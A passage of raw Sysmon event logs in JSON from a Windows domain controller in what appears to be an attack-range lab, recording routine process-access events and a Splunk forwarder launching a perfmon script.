C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2079,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2080,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-001066550300}\r\nTargetProcessId: 3584\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-001066550300}","TargetProcessId":"3584","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2081,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.533\r\nProcessGuid: {90617006-3FE9-5F2D-0000-001091570300}\r\nProcessId: 3820\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\perfmon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.533","ProcessGuid":"{90617006-3FE9-5F2D-0000-001091570300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\perfmon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2082,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2083,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2084,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2085,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2086,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 